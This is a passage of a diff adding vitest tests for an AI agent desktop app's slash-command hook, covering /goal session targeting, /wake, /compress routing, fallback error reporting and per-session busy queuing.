+  return seeds.flatMap(state => {
+    const messages = Array.isArray(state.messages)
+      ? (state.messages as Array<{ parts?: Array<{ text?: string }> }>)
+      : []
+
+    return messages.flatMap(message => (message.parts ?? []).map(part => part.text ?? ''))
+  })
+}
+
+describe('usePromptActions slash session targeting', () => {
+  const STORED_SESSION_ID = 'stored-db-xyz789'
+  const RECOVERED_SESSION_ID = 'rt-recovered-456'
+
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+  })
+
+  it('runs /goal status against the ROUTED stored session instead of minting a new one', async () => {
+    // Teknium's report: start a goal in the desktop app, then `/goal status`
+    // says there is no goal. `/goal` state lives per-session in SessionDB
+    // (`goal:<session_id>`), and slash.ts used to resolve its target with a
+    // bare `hint || activeRef || createSession()`. With the runtime binding
+    // momentarily absent (profile swap / reconnect / orphan-reap / timeout) it
+    // minted a NEW session, so the status query asked a session that never had
+    // a goal. submit.ts already resumes the routed chat here; both pipelines
+    // must resolve identically.
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: null }
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: null }
+    let boundRuntimeId: null | string = null
+
+    const createBackendSessionForSend = vi.fn(async () => 'rt-brand-new-WRONG')
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'session.resume') {
+        boundRuntimeId = RECOVERED_SESSION_ID
+        selectedStoredSessionIdRef.current = STORED_SESSION_ID
+        activeSessionIdRef.current = RECOVERED_SESSION_ID
+
+        return { session_id: RECOVERED_SESSION_ID } as never
+      }
+
+      if (method === 'slash.exec') {
+        return { output: '⊙ Goal (active, 1/20 turns): build a rocket' } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        activeSessionId={null}
+        activeSessionIdRef={activeSessionIdRef}
+        createBackendSessionForSend={createBackendSessionForSend}
+        getRoutedStoredSessionId={() => STORED_SESSION_ID}
+        getRuntimeIdForStoredSession={() => boundRuntimeId}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        storedSessionId={null}
+      />
+    )
+
+    await handle!.submitText('/goal status')
+
+    // Never fork the conversation to answer a question about it.
+    expect(createBackendSessionForSend).not.toHaveBeenCalled()
+    expect(calls.map(c => c.method)).toEqual(['session.resume', 'slash.exec'])
+    expect(calls[0]?.params).toMatchObject({ session_id: STORED_SESSION_ID })
+    // The command lands on the recovered runtime that owns the goal.
+    expect(calls[1]?.params).toEqual({ command: 'goal status', session_id: RECOVERED_SESSION_ID })
+  })
+
+  it('does not fork the chat when the routed session cannot be rebound', async () => {
+    const calls: string[] = []
+    const createBackendSessionForSend = vi.fn(async () => 'rt-brand-new-WRONG')
+
+    const requestGateway = vi.fn(async (method: string) => {
+      calls.push(method)
+
+      if (method === 'session.resume') {
+        throw new Error('4007 session not found')
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        activeSessionId={null}
+        activeSessionIdRef={{ current: null }}
+        createBackendSessionForSend={createBackendSessionForSend}
+        getRoutedStoredSessionId={() => STORED_SESSION_ID}
+        getRuntimeIdForStoredSession={() => null}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        selectedStoredSessionIdRef={{ current: null }}
+        storedSessionId={null}
+      />
+    )
+
+    await handle!.submitText('/goal status')
+
+    expect(createBackendSessionForSend).not.toHaveBeenCalled()
+    expect(calls).not.toContain('slash.exec')
+  })
+})
+
+describe('usePromptActions /wake', () => {
+  beforeEach(() => {
+    setSessions(() => [sessionInfo()])
+    resetWakeWordState()
+  })
+
+  afterEach(() => {
+    cleanup()
+    resetWakeWordState()
+    vi.restoreAllMocks()
+  })
+
+  it('starts the GUI-owned listener through wake.start and never spawns the slash worker', async () => {
+    const seeds: Record<string, unknown>[] = []
+
+    const requestGateway = vi.fn(async (method: string, _params?: Record<string, unknown>, _timeoutMs?: number) => {
+      if (method === 'wake.start') {
+        return {
+          owner_surface: 'gui',
+          phrase: 'hey clawcodex',
+          provider: 'openwakeword',
+          started: true
+        } as never
+      }
+
+      if (method === 'wake.status') {
+        return {
+          available: true,
+          configured_surface: 'gui',
+          enabled: true,
+          input_device: {
+            hostapi: 'Windows WASAPI',
+            name: 'Microphone Array',
+            selector: 'Microphone Array'
+          },
+          listening: true,
+          owner_surface: 'gui',
+          phrase: 'hey clawcodex',
+          provider: 'openwakeword'
+        } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={state => seeds.push(state)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    await handle!.submitText('/wake on')
+
+    expect(requestGateway).toHaveBeenCalledWith(
+      'wake.start',
+      { client_capture: true, persist: true, surface: 'gui' },
+      180_000
+    )
+    expect(requestGateway).toHaveBeenCalledWith('wake.status', { client_capture: true, surface: 'gui' })
+    expect(requestGateway).not.toHaveBeenCalledWith('slash.exec', expect.anything())
+    expect(requestGateway).not.toHaveBeenCalledWith('command.dispatch', expect.anything())
+    expect($wakeWord.get()).toMatchObject({ available: true, enabled: true, listening: true })
+    expect(renderedSeedTexts(seeds).join('\n')).toContain('Input: Microphone Array (Windows WASAPI)')
+  })
+
+  it('uses gateway truth for a bare toggle and stops through wake.stop', async () => {
+    let statusCalls = 0
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'wake.status') {
+        statusCalls += 1
+
+        return {
+          available: true,
+          enabled: statusCalls === 1,
+          listening: statusCalls === 1,
+          owner_surface: statusCalls === 1 ? 'gui' : null,
+          phrase: 'hey clawcodex',
+          provider: 'openwakeword'
+        } as never
+      }
+
+      if (method === 'wake.stop') {
+        return { disabled_persisted: true, stopped: true } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />
+    )
+
+    await handle!.submitText('/wake')
+
+    expect(requestGateway.mock.calls.map(([method]) => method)).toEqual(['wake.status', 'wake.stop', 'wake.status'])
+    expect(requestGateway).toHaveBeenCalledWith('wake.stop', { persist: true })
+    expect(requestGateway).not.toHaveBeenCalledWith('slash.exec', expect.anything())
+    expect(requestGateway).not.toHaveBeenCalledWith('command.dispatch', expect.anything())
+    expect($wakeWord.get()).toMatchObject({ enabled: false, listening: false })
+  })
+})
+
+describe('usePromptActions /compress', () => {
+  beforeEach(() => {
+    setSessions(() => [sessionInfo()])
+  })
+
+  afterEach(() => {
+    cleanup()
+    clearNotifications()
+    setCurrentUsage({ calls: 0, input: 0, output: 0, total: 0 })
+    setMessages([])
+    vi.restoreAllMocks()
+  })
+
+  it('routes through session.compress (not slash.exec) with a 120s timeout and renders the summary', async () => {
+    const seeds: Record<string, unknown>[] = []
+
+    const requestGateway = vi.fn(async (method: string, _params?: Record<string, unknown>, _timeoutMs?: number) => {
+      if (method === 'session.compress') {
+        return {
+          removed: 8,
+          summary: {
+            headline: 'Compressed: 234 → 226 messages',
+            noop: false,
+            token_line: 'Approx request size: ~285,727 → ~198,104 tokens'
+          }
+        } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={s => seeds.push(s)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    await handle!.submitText('/compress')
+
+    // The dedicated RPC is the TUI's path and has no slash-worker pipe
+    // timeout — and the call carries an LLM-sized client timeout instead of
+    // the 30s WS default, so a large session's compression can finish.
+    expect(requestGateway).toHaveBeenCalledWith(
+      'session.compress',
+      expect.objectContaining({ session_id: RUNTIME_SESSION_ID }),
+      120_000
+    )
+    expect(requestGateway).not.toHaveBeenCalledWith('slash.exec', expect.anything())
+    expect(requestGateway).not.toHaveBeenCalledWith('command.dispatch', expect.anything())
+  })
+
+  it('replaces the transcript from the response messages', async () => {
+    const seeds: Record<string, unknown>[] = []
+
+    const requestGateway = vi.fn(async (method: string, _params?: Record<string, unknown>, _timeoutMs?: number) => {
+      if (method === 'session.compress') {
+        return {
+          removed: 2,
+          summary: { headline: 'Compressed: 4 → 2 messages' },
+          messages: [
+            { role: 'user', content: 'summarized context' },
+            { role: 'assistant', content: 'sure, here is the summary' }
+          ]
+        } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={s => seeds.push(s)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    await handle!.submitText('/compress')
+
+    // The transcript was replaced with the post-compress history.
+    const finalMessages = seeds[seeds.length - 1]?.messages as Array<{ parts?: Array<{ text?: string }> }>
+
+    const renderedText = (finalMessages ?? [])
+      .flatMap(message => (message.parts ?? []).map(part => part.text ?? ''))
+      .join('\n')
+
+    expect(renderedText).toContain('summarized context')
+    expect(renderedText).toContain('sure, here is the summary')
+  })
+
+  it('uses the compute-host response transcript and success output', async () => {
+    const seeds: Record<string, unknown>[] = []
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.compress') {
+        return {
+          host_ack: { output: 'Compressed 4 → 2 messages' },
+          messages: [
+            { role: 'user', content: 'compute-host summary' },
+            { role: 'assistant', content: 'compute-host answer' }
+          ]
+        } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={s => seeds.push(s)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    await handle!.submitText('/compress')
+
+    const computeHostTexts = renderedSeedTexts(seeds)
+    expect(computeHostTexts).toEqual(expect.arrayContaining(['compute-host summary', 'compute-host answer']))
+    expect(computeHostTexts.some(text => text.includes('Compressed 4 → 2 messages'))).toBe(true)
+    expect($notifications.get()).toEqual(
+      expect.arrayContaining([expect.objectContaining({ message: 'Compressed 4 → 2 messages' })])
+    )
+  })
+
+  it('renders an aborted compression as an error, not a success', async () => {
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.compress') {
+        return {
+          status: 'aborted',
+          summary: {
+            aborted: true,
+            headline: 'Compression aborted: 6 messages preserved',
+            note: 'No compression provider is configured.'
+          }
+        } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />
+    )
+
+    await handle!.submitText('/compress')
+
+    expect($notifications.get()).toEqual(
+      expect.arrayContaining([
+        expect.objectContaining({ kind: 'error', message: expect.stringContaining('Compression aborted') })
+      ])
+    )
+    expect($notifications.get()).not.toEqual(
+      expect.arrayContaining([
+        expect.objectContaining({ kind: 'success', message: expect.stringContaining('Compression aborted') })
+      ])
+    )
+  })
+
+  it('passes a focus topic through as focus_topic', async () => {
+    const requestGateway = vi.fn(
+      async (_method: string, _params?: Record<string, unknown>, _timeoutMs?: number) => ({ removed: 0 }) as never
+    )
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />
+    )
+
+    await handle!.submitText('/compress the auth refactor')
+
+    expect(requestGateway).toHaveBeenCalledWith(
+      'session.compress',
+      expect.objectContaining({ focus_topic: 'the auth refactor' }),
+      120_000
+    )
+  })
+
+  it('surfaces the RPC error verbatim (e.g. the busy guard) instead of a routing error', async () => {
+    const seeds: Record<string, unknown>[] = []
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.compress') {
+        throw new Error('session busy — /interrupt the current turn before /compress')
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={s => seeds.push(s)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    await handle!.submitText('/compress')
+
+    const texts = renderedSeedTexts(seeds)
+    expect(texts.some(text => text.includes('session busy'))).toBe(true)
+    expect(texts.some(text => text.includes('not a quick/plugin/skill command'))).toBe(false)
+  })
+
+  it('falls back to the slash worker when an older gateway lacks session.compress', async () => {
+    const seeds: Record<string, unknown>[] = []
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.compress') {
+        throw new Error('method not found: session.compress')
+      }
+
+      if (method === 'slash.exec') {
+        return { output: 'compressed by legacy gateway' } as never
+      }
+
+      throw new Error(`unexpected method: ${method}`)
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={s => seeds.push(s)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    await handle!.submitText('/compress')
+
+    expect(requestGateway).toHaveBeenCalledWith('slash.exec', expect.objectContaining({ command: 'compress' }))
+    expect(renderedSeedTexts(seeds).some(text => text.includes('compressed by legacy gateway'))).toBe(true)
+  })
+
+  it('does not clobber the foreground transcript when compression resolves after a session switch', async () => {
+    const RUNTIME_SESSION_B = 'rt-session-b'
+    const storedSessionIdRef: MutableRefObject<string | null> = { current: 'stored-a' }
+    const updates: Array<{ sessionId: string; storedSessionId: null | string | undefined }> = []
+
+    let resolveCompress: (value: unknown) => void = () => undefined
+
+    const compressResult = new Promise(resolve => {
+      resolveCompress = resolve
+    })
+
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: RUNTIME_SESSION_ID }
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.compress') {
+        return (await compressResult) as never
+      }
+
+      throw new Error(`unexpected method: ${method}`)
+    })
+
+    setMessages([{ id: 'foreground-b', parts: [textPart('session B transcript')], role: 'user', timestamp: 0 }])
+    setCurrentUsage({ calls: 7, input: 70, output: 30, total: 100 })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        activeSessionIdRef={activeSessionIdRef}
+        onReady={h => (handle = h)}
+        onUpdateState={(sessionId, storedSessionId) => updates.push({ sessionId, storedSessionId })}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        selectedStoredSessionIdRef={storedSessionIdRef}
+      />
+    )
+
+    // Start the request in a synchronous act. The async `submitText` harness
+    // helper cannot be used here: this test intentionally keeps its promise
+    // pending while the user switches sessions, which would leave React's
+    // async act scope open and overlap the wait below.
+    let submitted: Promise<boolean>
+    act(() => {
+      submitted = handle!.submitTextRaw('/compress')
+    })
+    await waitFor(() => expect(requestGateway).toHaveBeenCalledWith('session.compress', expect.anything(), 120_000))
+
+    // Switch to session B before compression resolves.
+    activeSessionIdRef.current = RUNTIME_SESSION_B
+    resolveCompress({
+      info: { usage: { context_used: 4_000, total: 12_000 } },
+      messages: [{ content: 'compressed session A transcript', role: 'system' }],
+      removed: 5
+    })
+    await act(async () => {
+      await submitted
+    })
+
+    // The foreground transcript + usage are unchanged — the late result only
+    // updated session A's cache, not the active session B's.
+    expect($messages.get()).toEqual([
+      { id: 'foreground-b', parts: [textPart('session B transcript')], role: 'user', timestamp: 0 }
+    ])
+    expect($currentUsage.get()).toEqual(expect.objectContaining({ calls: 7, input: 70, output: 30, total: 100 }))
+    expect(updates).toContainEqual({ sessionId: RUNTIME_SESSION_ID, storedSessionId: 'stored-a' })
+  })
+
+  it('keeps a late compression error bound to its invocation-time stored session', async () => {
+    const RUNTIME_SESSION_B = 'rt-session-b'
+    const storedSessionIdRef: MutableRefObject<string | null> = { current: 'stored-a' }
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: RUNTIME_SESSION_ID }
+    const updates: Array<{ sessionId: string; storedSessionId: null | string | undefined }> = []
+    let rejectCompress: (reason?: unknown) => void = () => undefined
+
+    const compressResult = new Promise((_, reject) => {
+      rejectCompress = reject
+    })
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.compress') {
+        return (await compressResult) as never
+      }
+
+      throw new Error(`unexpected method: ${method}`)
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        activeSessionIdRef={activeSessionIdRef}
+        onReady={h => (handle = h)}
+        onUpdateState={(sessionId, storedSessionId) => updates.push({ sessionId, storedSessionId })}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        selectedStoredSessionIdRef={storedSessionIdRef}
+      />
+    )
+
+    // Keep the RPC pending while the selected stored session changes without
+    // leaving an async React act scope open (see the foreground-race test).
+    let submitted: Promise<boolean>
+    act(() => {
+      submitted = handle!.submitTextRaw('/compress')
+    })
+    await waitFor(() => expect(requestGateway).toHaveBeenCalledWith('session.compress', expect.anything(), 120_000))
+    activeSessionIdRef.current = RUNTIME_SESSION_B
+    storedSessionIdRef.current = 'stored-b'
+    rejectCompress(new Error('compression failed'))
+    await act(async () => {
+      await submitted
+    })
+
+    expect(updates).toContainEqual({ sessionId: RUNTIME_SESSION_ID, storedSessionId: 'stored-a' })
+  })
+  it('shows a compression progress toast outside the transcript', async () => {
+    let resolveCompress: (value: unknown) => void = () => undefined
+
+    const compressResult = new Promise(resolve => {
+      resolveCompress = resolve
+    })
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.compress') {
+        return (await compressResult) as never
+      }
+
+      throw new Error(`unexpected method: ${method}`)
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />
+    )
+
+    const submitted = handle!.submitTextRaw('/compress')
+    await waitFor(() => expect($notifications.get().some(item => item.message === 'compressing context...')).toBe(true))
+    resolveCompress({ messages: [{ content: 'compressed transcript', role: 'system' }] })
+    await submitted
+  })
+})
+
+describe('usePromptActions exec fallback error reporting', () => {
+  beforeEach(() => {
+    setSessions(() => [sessionInfo()])
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+  })
+
+  it('surfaces the slash.exec failure when command.dispatch only adds "not a quick/plugin/skill command"', async () => {
+    const seeds: Record<string, unknown>[] = []
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'slash.exec') {
+        throw new Error('slash worker timed out')
+      }
+
+      if (method === 'command.dispatch') {
+        throw new Error('not a quick/plugin/skill command: debug')
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={s => seeds.push(s)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    // /debug still goes through exec (no dedicated RPC), so it exercises the
+    // slash.exec → command.dispatch fallback + error unmasking path.
+    await handle!.submitText('/debug')
+
+    // The dispatch fallback knowing nothing about /debug is routing noise;
+    // the worker timeout is what actually went wrong (#44456).
+    const texts = renderedSeedTexts(seeds)
+    expect(texts.some(text => text.includes('slash worker timed out'))).toBe(true)
+    expect(texts.some(text => text.includes('not a quick/plugin/skill command'))).toBe(false)
+  })
+
+  it('falls back to slash.exec when an older gateway lacks a dedicated RPC', async () => {
+    const seeds: Record<string, unknown>[] = []
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.status') {
+        throw new Error('method not found: session.status')
+      }
+
+      if (method === 'slash.exec') {
+        return { output: 'session status from slash worker' } as never
+      }
+
+      throw new Error(`unexpected method: ${method}`)
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={s => seeds.push(s)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    await handle!.submitText('/status')
+
+    expect(requestGateway).toHaveBeenCalledWith('session.status', expect.anything(), undefined)
+    expect(requestGateway).toHaveBeenCalledWith('slash.exec', expect.objectContaining({ command: 'status' }))
+    expect(renderedSeedTexts(seeds).some(text => text.includes('session status from slash worker'))).toBe(true)
+  })
+
+  it('still reports a real command.dispatch failure for skill/quick commands', async () => {
+    const seeds: Record<string, unknown>[] = []
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'slash.exec') {
+        throw new Error('skill command: use command.dispatch for /my-skill')
+      }
+
+      if (method === 'command.dispatch') {
+        throw new Error('quick command failed with exit code 1')
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={s => seeds.push(s)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    await handle!.submitText('/my-skill')
+
+    const texts = renderedSeedTexts(seeds)
+    expect(texts.some(text => text.includes('quick command failed with exit code 1'))).toBe(true)
+  })
+})
+
+describe('usePromptActions slash.exec dispatch payloads', () => {
+  afterEach(() => {
+    cleanup()
+    $busy.set(false)
+    vi.restoreAllMocks()
+  })
+
+  it('executes /approvals against the focused profile session and persists its mode', async () => {
+    const focusedProfile = 'work'
+    const focusedSessionId = 'work-runtime-session'
+    const persistedModes = new Map<string, string>()
+    const sessionProfiles = new Map([[focusedSessionId, focusedProfile]])
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      if (method === 'slash.exec') {
+        const sessionId = String(params?.session_id ?? '')
+        const profile = sessionProfiles.get(sessionId)
+        const command = String(params?.command ?? '')
+
+        if (profile && command === 'approvals off') {
+          persistedModes.set(profile, 'off')
+        }
+
+        return { output: 'Approval mode: off (persistent profile setting).' } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+
+    render(
+      <Harness
+        activeSessionId={focusedSessionId}
+        activeSessionIdRef={{ current: focusedSessionId }}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId={focusedSessionId}
+      />
+    )
+
+    await handle!.submitText('/approvals off')
+
+    expect(requestGateway).toHaveBeenCalledWith('slash.exec', {
+      command: 'approvals off',
+      session_id: focusedSessionId
+    })
+    expect(persistedModes.get(focusedProfile)).toBe('off')
+    expect(persistedModes.has('default')).toBe(false)
+  })
+
+  it('submits /goal send directives returned directly by slash.exec instead of rendering no output', async () => {
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+    const states: Record<string, unknown>[] = []
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'slash.exec') {
+        return {
+          type: 'send',
+          notice: '⊙ Goal set. Starting now.',
+          message: 'write the implementation plan'
+        } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={s => states.push(s)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    await handle!.submitText('/goal write the implementation plan')
+
+    expect(calls.map(c => c.method)).toEqual(['slash.exec', 'prompt.submit'])
+    expect(calls[0]?.params).toEqual({
+      command: 'goal write the implementation plan',
+      session_id: RUNTIME_SESSION_ID
+    })
+    expect(calls[1]?.params).toEqual({
+      session_id: RUNTIME_SESSION_ID,
+      text: 'write the implementation plan'
+    })
+
+    const renderedText = states
+      .flatMap(state => {
+        const messages = Array.isArray(state.messages)
+          ? (state.messages as Array<{ parts?: Array<{ text?: string }> }>)
+          : []
+
+        return messages.flatMap(message => (message.parts ?? []).map(part => part.text ?? ''))
+      })
+      .join('\n')
+
+    expect(renderedText).toContain('⊙ Goal set. Starting now.')
+    expect(renderedText).not.toContain('/goal: no output')
+  })
+
+  it('queues the /goal kickoff instead of dropping it when the session is busy (#63352)', async () => {
+    // The backend sets the goal the moment slash.exec runs — dropping the
+    // returned kickoff message because busyRef was true left a goal the agent
+    // never heard about. The busy path must park the kickoff on the composer
+    // queue so the settle drain sends it.
+    $queuedPromptsBySession.set({})
+
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+    const states: Record<string, unknown>[] = []
+    const busyRef = { current: true }
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'slash.exec') {
+        return {
+          type: 'send',
+          notice: '⊙ Goal set (20-turn budget): ship the release notes',
+          message: 'ship the release notes'
+        } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        busyRef={busyRef}
+        onReady={h => (handle = h)}
+        onSeedState={s => states.push(s)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    await handle!.submitText('/goal ship the release notes')
+
+    // The kickoff must NOT submit mid-turn — and must NOT vanish either.
+    expect(calls.map(c => c.method)).toEqual(['slash.exec'])
+
+    const queued = getQueuedPrompts(RUNTIME_SESSION_ID)
+    expect(queued.map(entry => entry.text)).toEqual(['ship the release notes'])
+
+    const renderedText = states
+      .flatMap(state => {
+        const messages = Array.isArray(state.messages)
+          ? (state.messages as Array<{ parts?: Array<{ text?: string }> }>)
+          : []
+
+        return messages.flatMap(message => (message.parts ?? []).map(part => part.text ?? ''))
+      })
+      .join('\n')
+
+    // The notice still renders, and the busy line reports a queue, not a demand
+    // to /interrupt.
+    expect(renderedText).toContain('⊙ Goal set (20-turn budget): ship the release notes')
+    expect(renderedText).toContain('queued')
+
+    $queuedPromptsBySession.set({})
+  })
+
+  it('gates the busy queue on the TARGET session, not the foreground busy flag', async () => {
+    // `busyRef` is the FOREGROUND view's busy flag; a slash command runs against
+    // the session `resolveTargetSessionId` picked, which is frequently not the
+    // foreground one (tile, route rebind, freshly created session). A stale
+    // foreground `true` — e.g. left behind by a warm resume of a *different*,
+    // still-running session — parked the kickoff of an idle session's command
+    // on the queue and told the user "session busy" about a session that was
+    // doing nothing.
+    $queuedPromptsBySession.set({})
+    publishSessionState(RUNTIME_SESSION_ID, createClientSessionState(RUNTIME_SESSION_ID))
+
+    const calls: string[] = []
+    const busyRef = { current: true }
+
+    const requestGateway = vi.fn(async (method: string) => {
+      calls.push(method)
+
+      return (method === 'slash.exec' ? { type: 'send', message: 'audit the session states' } : {}) as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        busyRef={busyRef}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    await handle!.submitText('/audit-only audit the session states')
+
+    // The target session is idle, so the command sends now — nothing queues.
+    expect(calls).toContain('prompt.submit')
+    expect(getQueuedPrompts(RUNTIME_SESSION_ID)).toEqual([])
+
+    dropSessionState(RUNTIME_SESSION_ID)
+    $queuedPromptsBySession.set({})
+  })
+
+  it('still queues when the TARGET session is busy and the foreground flag is not', async () => {
+    // The converse leak: a background/tile command must not submit mid-turn
+    // just because the foreground view happens to be idle.
+    $queuedPromptsBySession.set({})
+    publishSessionState(RUNTIME_SESSION_ID, {
+      ...createClientSessionState(RUNTIME_SESSION_ID),
+      busy: true
+    })
+
+    const calls: string[] = []
+    const busyRef = { current: false }
+
+    const requestGateway = vi.fn(async (method: string) => {
+      calls.push(method)
+
+      return (method === 'slash.exec' ? { type: 'send', message: 'audit the session states' } : {}) as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        busyRef={busyRef}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    await handle!.submitText('/audit-only audit the session states')
+
+    expect(calls).toEqual(['slash.exec'])
+    expect(getQueuedPrompts(RUNTIME_SESSION_ID).map(entry => entry.text)).toEqual(['audit the session states'])
+
+    dropSessionState(RUNTIME_SESSION_ID)
+    $queuedPromptsBySession.set({})
+  })
+
+  it('binds slash output and the busy queue to the TARGET session, not the foreground selection', async () => {
+    // A tile (⌘T tab, split pane) routes its slash commands through this hook
+    // with an explicit runtime id while the foreground selection names a
+    // different conversation. Binding the output writer to the foreground
+    // selection re-keyed the tile's cache entry onto the primary's stored
+    // session and parked its queued payload on the primary's queue.
+    const tileRuntimeId = 'tile-runtime'
+    const tileStoredId = 'tile-stored'
+
+    $queuedPromptsBySession.set({})
+    publishSessionState(tileRuntimeId, {
+      ...createClientSessionState(tileStoredId),
+      busy: true
+    })
+
+    const boundStoredIds: (null | string | undefined)[] = []
+
+    const requestGateway = vi.fn(
+      async (method: string) => (method === 'slash.exec' ? { type: 'send', message: 'run it in the tab' } : {}) as never
+    )
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onUpdateState={(_sessionId, storedSessionId) => boundStoredIds.push(storedSessionId)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId="primary-stored"
+      />
+    )
+
+    await handle!.submitText('/audit-only run it in the tab', { sessionId: tileRuntimeId })
+
+    // Every transcript write lands on the tile's own stored session.
+    expect(boundStoredIds).not.toHaveLength(0)
+    expect(new Set(boundStoredIds)).toEqual(new Set([tileStoredId]))
+    // …and the kickoff queues against the tile, never the foreground chat.
+    expect(getQueuedPrompts(tileStoredId).map(entry => entry.text)).toEqual(['run it in the tab'])
+    expect(getQueuedPrompts('primary-stored')).toEqual([])
+
+    dropSessionState(tileRuntimeId)
+    $queuedPromptsBySession.set({})
+  })
+
+  it("sends a skill's kickoff into the TAB that invoked it, not the foreground chat", async () => {
+    // `/work` in a fresh ⌘T tab: slash.exec returns a skill dispatch whose
+    // `message` is the kickoff prompt. The dispatcher resolved the tab as its
+    // target, then submitted the kickoff with no target at all, so submit
+    // re-resolved from activeSessionIdRef and fired it as a user message into
+    // whatever conversation was on screen.
